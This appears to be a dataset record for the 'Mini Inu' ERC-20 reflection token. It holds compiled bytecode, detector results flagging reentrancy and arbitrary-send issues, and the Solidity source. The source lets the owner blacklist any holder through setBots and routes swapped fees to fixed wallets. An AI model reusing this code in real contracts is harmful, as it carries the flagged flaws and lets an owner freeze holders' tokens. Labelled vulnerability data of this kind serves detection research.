ffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220937d2bf4a30eb9c40f8e9671b3dc6ad1b39a6076b517303d91328aafc43e1b7a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,500 |
0xf179c378a0a0f768770b6dbc53f9bb6fe4969ba9
|
//Mini Inu token
//telegram: https://t.me/miniinu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MiniInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "https://t.me/miniinu";
string private constant _symbol = 'MININU️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 3;
uint256 private _teamFee = 7;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280601481526020017f68747470733a2f2f742e6d652f6d696e69696e75000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d494e494e55efb88f0000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610